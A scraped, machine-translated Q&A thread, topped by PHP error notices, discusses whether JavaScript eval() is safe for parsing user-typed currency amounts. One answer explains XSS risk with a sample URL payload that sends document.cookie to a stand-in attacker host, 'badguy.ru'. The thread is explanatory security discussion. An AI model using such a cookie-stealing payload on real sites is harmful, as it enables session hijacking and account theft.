Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/rest/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript eval()是否如此危险?_Javascript_Security_Eval - Fatal编程技术网

Javascript eval()是否如此危险?

Javascript eval()是否如此危险?,javascript,security,eval,Javascript,Security,Eval,可能重复: 我正在编写一个脚本,其中用户必须以货币金额书写,一些示例可能是(用户输入>>转换为),美元为默认货币: 50 >> 50.0 USD 50.5 >> 50.5 USD 50+1 USD >> 51.0 USD 50 GBP >> 50.0 GBP 我想让它尽可能平滑,因此我想使用JavaScript(它是一个基于PHP/MySql+JavaScript的web应用程序)。我想使用regex来过滤输入,通过ev

可能重复:

我正在编写一个脚本,其中用户必须以货币金额书写,一些示例可能是(用户输入>>转换为),美元为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP
我想让它尽可能平滑,因此我想使用JavaScript(它是一个基于PHP/MySql+JavaScript的web应用程序)。我想使用regex来过滤输入,通过
eval()运行它并返回它

这是个坏主意吗?我读过一些关于
eval()
是安全问题的主题。我只是不知道怎么做。用户可以轻松地运行JavaScript吗


请记住,我将在稍后阶段使用PHP验证所有服务器端输入。

如果需要,请使用它

这里有一个很好的链接,它讨论了安全性。。。以及对“eval()”的其他常见反对意见:

那么安全呢?如果是您的软件为eval提供 它的论点是,在这方面没有什么可担心的。当然可以 计算输入框的值是不明智的,但运行eval 在由您自己的服务器代码生成的响应上,不应显示 特别险。还要记住,攻击者不会造成任何伤害 可以做客户端评估,他们无法更容易地实现 带有现代化的浏览器控制台


没错,最终用户可以通过浏览器的开发人员控制台轻松地执行任意JavaScript(我一直都这样做)。您需要担心的是,攻击者会劫持您的功能,并将
eval
用于自己的目的

eval
通常被认为是危险的,因为不受信任的代码很容易潜入。考虑一个允许通过查询字符串指定输入的页面,其中输入框中填充了查询字符串中的值。

攻击者可以传播包含窃取用户登录cookie代码的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
(显然需要正确的URL编码;这是为了说明。)

或者,当验证失败时,您的PHP脚本可能会将发布的数据回显到表单中。攻击者可以创建一个巧尽心思构建的表单,该表单使用相同的cookie窃取代码发布到您的表单

通过使用
httpOnly
cookies(防止被盗的登录cookies)或确保对数据进行消毒,可以减轻这些攻击中的每一种——但问题是,这还不足以详尽列出可能出现的问题。例如,注入的脚本仍然可以在金额字段中插入1000,并尝试将该金额转移到攻击者的帐户(如果这是转账页面)

即使您使用正则表达式清理输入,也不一定能保护您:编写任意JavaScript是可能的

因此,底线是,如果您能够绝对确保输入进入文本字段的唯一方式是通过用户输入,那么您就没事了:用户没有通过控制台获得任何他们无法获得的东西。但是,如果攻击者能够以某种方式将自己的数据输入该字段,
eval
ing它可能会使您面临漏洞

另见:


一些示例:您将以何种方式使用
eval
执行任务?我不明白什么是
eval
'd。最后一部分很重要:“……潜在攻击者不会对客户端eval造成任何现代浏览器控制台无法轻易实现的伤害。”“如果需要,就使用它。”你是指广义的句子吗?我不能完全同意。不,你真的不需要它来“运行由你自己的服务器生成的响应”。你可以通过使用函数来限制eval工作的环境,在Python&Ruby中,你可以给它一个环境哈希,并限制它只更改那些变量。